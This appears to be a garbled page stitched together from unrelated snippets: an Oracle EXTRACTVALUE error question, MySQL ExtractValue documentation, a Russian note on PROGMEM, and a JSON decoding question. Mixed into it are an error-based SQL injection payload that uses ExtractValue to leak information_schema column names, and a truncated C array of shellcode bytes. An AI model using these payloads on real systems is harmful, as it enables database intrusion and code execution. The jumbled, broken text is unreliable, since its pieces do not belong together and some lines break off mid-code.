ORA-19025: EXTRACTVALUE returns value of only one node. How can I extract just the first value encountered for element <formatted_address>?
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AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5.
SELECT concat(CHAR(126),TABLE_NAME,CHAR(126)) FROM
ExtractValue() takes two string arguments, a fragment of XML markup xml_frag and an XPath expression xpath_expr (also known as a locator); it returns the text (CDATA) of the first text node which is a child of the element or elements matched by the XPath expression. Using this function is the...
...◦ AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));-- Available in MySQL 5.1.5 ◦ AND (1,2,3)
char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68” “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99” “\xdf\x81\.
Следующий фрагмент кода иллюстрируют, как читать и писать данные типа unsigned char (размер 1 байт) и int (размер 2 байта) в PROGMEM.
I am getting error Expecting value: line 1 column 1 (char 0) when trying to decode JSON. The URL I use for the API call works fine in the browser, but gives this error when done through a curl request.